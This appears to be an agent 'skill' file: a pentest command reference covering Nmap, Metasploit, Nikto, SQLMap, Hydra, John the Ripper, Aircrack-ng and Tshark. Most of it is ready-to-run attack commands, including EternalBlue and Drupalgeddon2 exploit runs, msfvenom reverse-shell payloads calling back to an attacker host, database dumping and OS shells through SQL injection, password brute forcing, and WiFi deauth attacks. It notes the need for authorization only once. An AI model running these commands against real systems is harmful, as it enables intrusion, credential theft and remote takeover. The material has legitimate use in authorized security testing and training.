Pentest Commands Purpose Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. Inputs/Prerequisites Kali Linux or penetration testing distribution Target IP addresses with authorization Wordlists for brute forcing Network access to target systems Basic understanding of tool syntax Outputs/Deliverables Network enumeration results Identified vulnerabilities Exploitation payloads Cracked credentials Web vulnerability findings Core Workflow 1. Nmap Commands Host Discovery:
Ping sweep
nmap -sP 192.168 .1.0/24
List IPs without scanning
nmap -sL 192.168 .1.0/24
Ping scan (host discovery)
nmap -sn 192.168 .1.0/24 Port Scanning:
TCP SYN scan (stealth)
nmap -sS 192.168 .1.1
Full TCP connect scan
nmap -sT 192.168 .1.1
UDP scan
nmap -sU 192.168 .1.1
All ports (1-65535)
nmap -p- 192.168 .1.1
Specific ports
nmap -p 22,80 ,443 192.168 .1.1 Service Detection:
Service versions
nmap -sV 192.168 .1.1
OS detection
nmap -O 192.168 .1.1
Comprehensive scan
nmap -A 192.168 .1.1
Skip host discovery
nmap -Pn 192.168 .1.1 NSE Scripts:
Vulnerability scan
nmap --script vuln 192.168 .1.1
SMB enumeration
nmap --script smb-enum-shares -p 445 192.168 .1.1
HTTP enumeration
nmap --script http-enum -p 80 192.168 .1.1
Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168 .1.1
Check MS08-067
nmap --script smb-vuln-ms08-067 192.168 .1.1
SSH brute force
nmap --script ssh-brute -p 22 192.168 .1.1
FTP anonymous
nmap --script ftp-anon 192.168 .1.1
DNS brute force
nmap --script dns-brute 192.168 .1.1
HTTP methods
nmap -p80 --script http-methods 192.168 .1.1
HTTP headers
nmap -p80 --script http-headers 192.168 .1.1
SQL injection check
nmap --script http-sql-injection -p 80 192.168 .1.1 Advanced Scans:
Xmas scan
nmap -sX 192.168 .1.1
ACK scan (firewall detection)
nmap -sA 192.168 .1.1
Window scan
nmap -sW 192.168 .1.1
Traceroute
nmap --traceroute 192.168 .1.1 2. Metasploit Commands Basic Usage:
Launch Metasploit
msfconsole
Search for exploits
search type:exploit name:smb
Use exploit
use exploit/windows/smb/ms17_010_eternalblue
Show options
show options
Set target
set RHOST 192.168 .1.1
Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
Run exploit
exploit Common Exploits:
EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit" Scanners:
TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run" Handler Setup:
Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit" Payload Generation (msfvenom):
Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST = 192.168 .1.2 LPORT = 4444 -f exe
shell.exe
Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST = 192.168 .1.2 LPORT = 4444 -f elf
shell.elf
PHP reverse shell
msfvenom -p php/reverse_php LHOST = 192.168 .1.2 LPORT = 4444 -f raw
shell.php
ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST = 192.168 .1.2 LPORT = 4444 -f asp
shell.asp
WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST = 192.168 .1.2 LPORT = 4444 -f war
shell.war
Python payload
msfvenom -p cmd/unix/reverse_python LHOST = 192.168 .1.2 LPORT = 4444 -f raw
shell.py 3. Nikto Commands
Basic scan
nikto -h http://192.168.1.1
Comprehensive scan
nikto -h http://192.168.1.1 -C all
Output to file
nikto -h http://192.168.1.1 -output report.html
Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl
Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+
Specific tuning
nikto -h http://192.168.1.1 -Tuning 1
Interesting files only
- SQLMap Commands
Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"
Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
POST request
sqlmap -u "http://192.168.1.1/login" --data = "user=admin&pass=test"
Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie = "id=1*"
Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper = space2comment
Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk = 3 --level = 5 5. Hydra Commands
SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
HTTP POST form
hydra -l admin -P passwords.txt 192.168 .1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168 .1.1 http-get /admin/
SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1 6. John the Ripper Commands
Crack password file
john hash.txt
Specify wordlist
john hash.txt --wordlist = /usr/share/wordlists/rockyou.txt
Show cracked passwords
john hash.txt --show
Specify format
john hash.txt --format = raw-md5 john hash.txt --format = nt john hash.txt --format = sha512crypt
SSH key passphrase
ssh2john id_rsa
ssh_hash.txt john ssh_hash.txt --wordlist = /usr/share/wordlists/rockyou.txt
ZIP password
zip2john file.zip
zip_hash.txt john zip_hash.txt 7. Aircrack-ng Commands
Monitor mode
airmon-ng start wlan0
Capture packets
airodump-ng wlan0mon
Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap 8. Wireshark/Tshark Commands
Capture traffic
tshark -i eth0 -w capture.pcap
Read capture file
tshark -r capture.pcap
Filter by protocol
tshark -r capture.pcap -Y "http"
Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri Quick Reference Common Port Scans
Quick scan
nmap -F 192.168 .1.1
Full comprehensive
nmap -sV -sC -A -p- 192.168 .1.1
Fast with version
nmap -sV -T4 192.168 .1.1 Password Hash Types Mode Type 0 MD5 100 SHA1 1000 NTLM 1800 sha512crypt 3200 bcrypt 13100 Kerberoast Constraints Always have written authorization Some scans are noisy and detectable Brute forcing may lock accounts Rate limiting affects tools Examples Example 1: Quick Vulnerability Scan nmap -sV --script vuln 192.168 .1.1 Example 2: Web App Test nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs Troubleshooting Issue Solution Scan too slow Increase timing (-T4, -T5) Ports filtered Try different scan types Exploit fails Check target version compatibility Passwords not cracking Try larger wordlists, rules When to Use This skill is applicable to execute the workflow or actions described in the overview.